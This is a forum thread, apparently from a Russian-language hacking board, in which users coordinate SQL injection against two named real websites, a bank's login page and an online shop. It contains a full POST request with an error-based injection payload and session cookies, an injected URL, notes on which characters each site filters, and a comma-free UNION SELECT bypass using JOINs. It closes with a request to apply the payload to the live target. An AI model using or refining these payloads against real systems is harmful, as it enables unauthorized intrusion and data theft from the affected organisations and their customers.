Help for sqli (dump table & column names)

[navigate653]

Hi
I can not dump table & column names

Спойлер: sqli target 1

POST /en/user/login HTTP/1.1
Host: www.armbusinessbank.am
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://www.armbusinessbank.am
DNT: 1
Connection: close
Referer: http://www.armbusinessbank.am/en/user/login
Cookie: _ga=GA1.2.1688495222.1633429876; __utma=56533883.1688495222.1633429876.1633429876.1637041959.2; __utmz=56533883.1633429876.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=pkfldq3m2ohqjcadtuglu0d002; __utmb=56533883.4.10.1637041959; __utmc=56533883; _gid=GA1.2.1587933107.1637041959
Upgrade-Insecure-Requests: 1

return=&username=sdsadssda%27+or+1+group+by+mid(user(),floor(rand(0)*2))having+avg(0)%23&password=dsadsada

Спойлер: sqli target 2

https://optimal.az/TV-Audio-Foto-Video/Oyun-ve-Eylence?page=2&price=1%27group%20by%20mid(user()%20from%20floor(rand(0)*2))having%20avg(0)--%20-

Thanks for help !

 

[etc/passwd]

В первом фильтруеться точка. Брут таблиц и колонок поможет.
Во втором фильтруеться запятая. Тут уже сложнее.

 

[navigate653]

В первом фильтруеться точка. Брут таблиц и колонок поможет.
Во втором фильтруеться запятая. Тут уже сложнее.

and how to create payload for first target where is . filtered, want to make payload from+admin
thanks !

 

[d_dwacawaca]

Если запятая под фильтром

SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

 

[navigate653]

can u please realize this payload in real target I put in post